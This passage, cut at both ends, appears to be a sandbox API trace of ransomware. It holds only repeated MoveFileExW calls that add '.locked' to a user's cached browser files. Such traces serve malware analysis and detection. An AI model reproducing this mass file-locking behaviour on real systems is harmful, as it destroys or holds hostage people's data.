files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.518] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png.locked"), dwFlags=0x2) returned 1 [0147.522] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png.locked"), dwFlags=0x2) returned 1 [0147.528] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png.locked"), dwFlags=0x2) returned 1 [0147.543] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.631] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.713] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg.locked"), dwFlags=0x2) returned 1 [0147.750] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bootstrap[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bootstrap[1].js.locked"), dwFlags=0x2) returned 1 [0147.773] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bs-jsdep[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bs-jsdep[1].css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bs-jsdep[1].css.locked"), dwFlags=0x2) returned 1 [0147.776] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\collect[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\collect[1].gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\collect[1].gif.locked"), dwFlags=0x2) returned 1 [0148.032] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\core[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\core[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\core[1].css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\core[1].css.locked"), dwFlags=0x2) returned 1 [0148.036] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e151e5[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e151e5[1].gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e151e5[1].gif.locked"), dwFlags=0x2) returned 1 [0148.202] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt.locked"), dwFlags=0x2) returned 1 [0148.221] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt.locked"), dwFlags=0x2) returned 1 [0148.225] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png.locked"), dwFlags=0x2) returned 1 [0148.228] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt.locked"), dwFlags=0x2) returned 1 [0148.231] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png.locked"), dwFlags=0x2) returned 1 [0148.311] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\uhf-main.var.min[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\uhf-main.var.min[1].js.locked"), dwFlags=0x2) returned 1 [0148.382] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\19619569[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\19619569[1].gif.locked"), dwFlags=0x2) returned 1 [0148.718] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\7962161087[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\7962161087[1].js.locked"), dwFlags=0x2) returned 1 [0148.722] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png.locked"), dwFlags=0x2) returned 1 [0148.727] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png.locked"), dwFlags=0x2) returned 1 [0148.730] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png.locked"), dwFlags=0x2) returned 1 [0148.734] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png.locked"), dwFlags=0x2) returned 1 [0148.737] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png.locked"), dwFlags=0x2) returned 1 [0148.741] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png.locked"), dwFlags=0x2) returned 1 [0148.745] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png.locked"), dwFlags=0x2) returned 1 [0148.762] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg.locked"), dwFlags=0x2) returned 1 [0148.772] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg.locked"), dwFlags=0x2) returned 1 [0148.776] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png.locked"), dwFlags=0x2) returned 1 [0148.789] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg.locked"), dwFlags=0x2) returned 1 [0148.793] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png.locked"), dwFlags=0x2) returned 1 [0148.795] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png.locked"), dwFlags=0x2) returned 1 [0148.891] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ast[2].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ast[2].js.locked"), dwFlags=0x2) returned 1 [0148.894] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png.locked"), dwFlags=0x2) returned 1 [0148.900] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png.locked"), dwFlags=0x2) returned 1 [0149.046] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg.locked" (normalized: 